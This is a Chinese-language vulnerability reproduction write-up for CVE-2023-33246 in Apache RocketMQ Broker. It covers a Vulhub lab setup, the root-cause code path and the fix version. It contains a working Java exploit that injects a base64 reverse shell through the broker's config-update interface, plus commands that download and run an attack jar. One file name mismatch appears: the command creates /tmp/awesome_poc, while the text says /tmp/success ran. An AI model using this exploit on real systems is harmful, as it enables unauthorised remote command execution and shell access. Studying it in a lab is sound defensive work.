# Apache RocketMQ Broker 远程命令执行漏洞 CVE-2023-33246 ## 漏洞描述 Apache RocketMQ 是一个分布式消息平台。 Apache RocketMQ RocketMQ 5.1.0 及以下版本,在一定条件下存在远程命令执行风险。RocketMQ 的 NameServer、Broker、Controller 等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以 RocketMQ 运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。 参考链接: - https://lists.apache.org/thread/1s8j2c8kogthtpv3060yddk03zq0pxyp - https://github.com/I5N0rth/CVE-2023-33246 - https://github.com/Le1a/CVE-2023-33246 - https://paper.seebug.org/2081/ - https://xz.aliyun.com/news/12137 - https://xz.aliyun.com/news/12035 ## 漏洞影响 ``` Apache RocketMQ <= 5.1.0 Apache RocketMQ <= 4.9.5 ``` ## 网络测绘 ``` title="RocketMQ" ``` ## 环境搭建 Vulhub 执行如下命令启动一个 RocketMQ broker 5.1.0:: ``` docker compose up -d ``` 环境启动后,RocketMQ 的 Broker 将会监听在 10911 端口。 ## 漏洞复现 使用 `IDEA` 或 `Eclipse` 等 `IDE` 新建一个 `Maven` 项目,导入依赖: ```java org.apache.rocketmq rocketmq-tools 5.1.0 ``` PoC 如下: ```java import org.apache.rocketmq.tools.admin.DefaultMQAdminExt; import java.util.Base64; import java.util.Properties; public class Main { private static String getCmd(String ip, String port) { String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1"; String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes()); return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;"; } public static void main(String[] args) throws Exception { String targetHost = "your-ip"; String targetPort = "10911"; String shellHost = "your-ip"; String shellPort = "12345"; String targetAddr = String.format("%s:%s",targetHost,targetPort); Properties props = new Properties(); props.setProperty("rocketmqHome", getCmd(shellHost,shellPort)); props.setProperty("filterServerNums", "1"); DefaultMQAdminExt admin = new DefaultMQAdminExt(); admin.setNamesrvAddr("0.0.0.0:12345"); admin.start(); admin.updateBrokerConfig(targetAddr, props); Properties brokerConfig = admin.getBrokerConfig(targetAddr); System.out.println(brokerConfig.getProperty("rocketmqHome")); System.out.println(brokerConfig.getProperty("filterServerNums")); admin.shutdown(); } } ``` 在控制台成功输出新的配置后,请等待 30 秒左右,将会收到反连请求。 ![image-20230605095851218](images/image-20230605095851218.png) --- **2025.02.10 更新** 该漏洞存在于 RocketMQ 的 Broker 组件的配置更新功能中。Broker 组件在配置更新接口中缺乏适当的身份认证和输入验证,攻击者可以修改配置值。 这个漏洞之所以特别危险,是因为 RocketMQ 的 filter server 机制。RocketMQ 每 30 秒会执行一次 filter server,执行方式是通过运行 shell 命令。这个命令是通过字符串拼接构造的,其中包含了来自配置中的 `rocketmqHome` 值。由于攻击者可以控制这个配置值,且这个值在构造命令时没有经过适当的过滤,因此导致了命令注入漏洞。 我们可以使用 Vulhub 项目 [rocketmq-attack](https://github.com/vulhub/rocketmq-attack) 来复现漏洞并执行任意命令: ```shell wget https://github.com/vulhub/rocketmq-attack/releases/download/1.0/rocketmq-attack-1.0-SNAPSHOT.jar java -jar rocketmq-attack-1.0-SNAPSHOT.jar AttackBroker --target your-ip:10911 --cmd "touch /tmp/awesome_poc" ``` ![](images/Apache%20RocketMQ%20Broker%20远程命令执行漏洞%20CVE-2023-33246/image-20250210112146119.png) 等待最多 30 秒后,可见 `touch /tmp/success` 命令已成功执行: ![](images/Apache%20RocketMQ%20Broker%20远程命令执行漏洞%20CVE-2023-33246/image-20250210112249871.png) ## 漏洞分析 PoC 对 `filterServerNums` 属性和 `rocketmqHome` 属性进行了修改。 为什么要修改 `filterServerNums` 属性:如果配置的 `filterServerNums` 为 0,计算得出的 `more` 也会是 0,因此无法进入 `callShell` 方法执行命令。 ``` public void createFilterServer() { int more = this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size(); String cmd = this.buildStartCommand(); for (int i = 0; i < more; i++) { FilterServerUtil.callShell(cmd, log); } } public static void callShell(final String shellString, final Logger log) { Process process = null; try { String[] cmdArray = splitShellString(shellString); process = Runtime.getRuntime().exec(cmdArray); process.waitFor(); log.info("CallShell: <{}> OK", shellString); } catch (Throwable e) { log.error("CallShell: readLine IOException, {}", shellString, e); } finally { if (null != process) process.destroy(); } } ``` 为什么要修改 `rocketmqHome` 属性:在构建命令的时候,最终会调用 `splitShellString` 方法按照空格对参数进行分割,所以不可以是 `NamesrvAddr` 参数,只能是开头的 `rocketmqHome` 参数,但是由于参数分割规则,所以需要更严格的命令和巧妙的技巧才可以执行。 ``` private String buildStartCommand() { String config = ""; if (BrokerStartup.CONFIG_FILE_HELPER.getFile() != null) { config = String.format("-c %s", BrokerStartup.CONFIG_FILE_HELPER.getFile()); } if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) { config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr()); } if (NetworkUtil.isWindowsPlatform()) { return String.format("start /b %s\\bin\\mqfiltersrv.exe %s", this.brokerController.getBrokerConfig().getRocketmqHome(), config); } else { return String.format("sh %s/bin/startfsrv.sh %s", this.brokerController.getBrokerConfig().getRocketmqHome(), config); } } ``` ## 漏洞修复 目前官方已发布安全修复更新,受影响用户可以升级到 Apache RocketMQ 5.1.1 或者 4.9.6。 https://rocketmq.apache.org/download/